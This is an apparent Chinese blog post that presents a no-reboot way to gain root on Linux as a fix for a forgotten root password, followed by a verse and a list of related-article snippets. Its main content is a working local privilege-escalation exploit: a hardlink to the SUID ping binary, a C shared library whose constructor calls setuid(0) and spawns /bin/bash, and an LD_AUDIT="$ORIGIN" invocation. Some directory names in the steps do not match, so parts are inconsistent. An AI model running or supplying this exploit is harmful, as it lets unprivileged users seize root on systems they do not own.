提权学习:Linux普通用户提权为root
当你的才华
还撑不起你的野心时
那你就应该静下心来学习
目录
Linux普通用户提权为root
接下来直接看实例
Linux普通用户提权为root
我记得我以前用Linux的时候,忘记root密码是常有的事情,很多时候大家都会选择重启系统,进入单用户模式重置root密码,但在实际运维工作中,就未必能任性重启了。
分享一个不必重启也能切换至root用户的方法给大家。
接下来直接看实例
1. 查看系统环境
cat /etc/centos-release
2. 创建普通用户进行权限测试
- useradd ce
- su ce
- cat /etc/shadow
3. 开始提权操作
利用ping命令的suid特性,创建一个链接。(ln /bin/ping /tmp/cetest/target)
- ll /tmp/ -d
- cd /tmp/
- mkdir cetest //创建目录
- ll /bin/ping
- ln /bin/ping /tmp/cetest/target //利用ping命令的suid特性,创建一个链接
- ll /tmp/test/target
- exec 3< /tmp/cetest/target //调用命令
- rm -rf /tmp/retest
4. 创建一个C程序
创建vim test.c
- void __attribute__((constructor)) init()
- {
- setuid(0);
- system("/bin/bash");
- }
5. 编译C程序
- gcc -w -fPIC -shared -o /tmp/root test.c
- LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
注:执行程序后,会出现一个报错,但不用管,此时应该顺利切换至root用户了。
我不需要自由,只想背着她的梦
一步步向前走,她给的永远不重
提权学习:Linux普通用户提权为root相关推荐
- adore-ng笔记和Linux普通用户提权
官网:https://github.com/trimpsyw/adore-ng 安装: [root@xuegod63 ~]# unzipadore-ng-master.zip [root@xuegod ...
- Windows和linux提权方法,Windows与Linux本地用户提权体验(一)
无论是Windows系统还是linux系统都是基于权限控制的,其严格的用户等级和权限是系统安全的有力保证.这么严密的用户权限是否不可逾越呢?下面笔者反其道而行之进行Windows及Linux下的提权测 ...
- linux suid提权原理,linux关于suid提权笔记
suid全称是Set owner User ID up on execution.这是Linux给可执行文件的一个属性,上述情况下,普通用户之所以也可以使用ping命令,原因就在我们给ping这个可执 ...
- 学习linux之用户-文件-权限操作
添加用户组 添加 gropuadd 用户组名 修改 groupmod 用户组名 删除 groupdel 用户组名 添加用户 添加 useradd 用户名 设密码 passwd 密码 删除 userde ...
- linux 普通用户登陆系统su - root的时候报错su: Authentication failure
今天登陆服务器的时候,需要提权做一些操作,普通用户su - root的时候提示密码错误 [xtwh@jmw8a2003 ~]$ su Password: su: Authentication fail ...
- linux自动更新漏洞,Linux爆本地提权漏洞 请立即更新udev程序
Linux的udev程序再爆本地提权漏洞,本地用户可以轻易获得root权限,请立即更新udev程序.(2.4内核系统不受影响) 修复方法(修复前请备份重要数据): debian用户请执行apt-get ...
- Linux爆本地提权漏洞 请立即更新udev程序
Linux的udev程序再爆本地提权漏洞,本地用户可以轻易获得root权限,请立即更新udev程序.(2.4内核系统不受影响) 修复方法(修复前请备份重要数据): debian用户请执行apt-get ...
- root用户给普通用户提权,禁止root远程登录
root用户给普通用户提权 让普通用户通过普通账号登录后,拥有root权限 使用root用户操作,创建一个普通用户 [root@kai ~]#useradd k [root@kai ~]# passw ...
- 轻松学习LINUX系列教程推出
本系列多媒体教程已完成的博文: 1.轻松学习Linux之入门篇 http://chenguang.blog.51cto.com/350944/449214 2.轻松学习Linux之本地安装系统 (分区 ...
最新文章
- 【引用】在Eclipse中将java Project转换成Dynamic Web Project
- 11月29日云栖精选夜读:阿里传奇工程师多隆的程序世界
- 【SpringMVC学习07】SpringMVC中的统一异常处理
- 注册表改win 7更新服务器,Win7 SP1 修改注册表升级的说明事项
- 11、Libgdx的音频
- 福师离线 微型计算机与外部,福师《计算机应用基础》离线作业答案
- shell的date命令:使用方法,以及小时、分钟的计算
- python中连续两个小于号_Python语言描述最大连续子序列和
- python对于设计师有什么用-好的IT产品设计师要做到哪些事
- zabbix中mysql连不上的排错_zabbix使用排错 - oschina130111的个人空间 - OSCHINA - 中文开源技术交流社区...
- 剑指 Offer II 083. 没有重复元素集合的全排列
- Linux下查看NVIDIA的GPU使用情况
- 教你快速搭建个人网站
- 如何获取注册高德Key使用的SHA1值
- linux安装系统如何查看硬盘,如何检查Linux系统服务器的硬盘是SSD还是HDD?
- Cadence(virtuoso)集成电路设计软件基本操作——库管理
- 离散数学 08.02 格的定义
- 非线性最小二乘法之Gauss Newton、L-M、Dog-Leg9
- 让你提前认识软件开发(46):首先是为人编写程序,其次才是计算机
- Oracle 内存(SGA,PGA)详细介绍
热门文章
- 【Python】猴子选大王
- python[10918:300960] modalSession has been exited prematurely - check for a reentrant call to endMod
- 第三章栈和队列-作业题
- 百度阿里为何都跑到开曼群岛上注册公司?【转载】
- Oracle面试题(概念、定义)
- 天天写日记争当文艺青年 2014-5-18
- touches和targetTouches的区别
- Ubuntu安装驱动
- Android四大组件之一Activity的生命周期
- 穷人该怎么翻身致富?哪些行业可以让穷人翻身?网友:说的没错。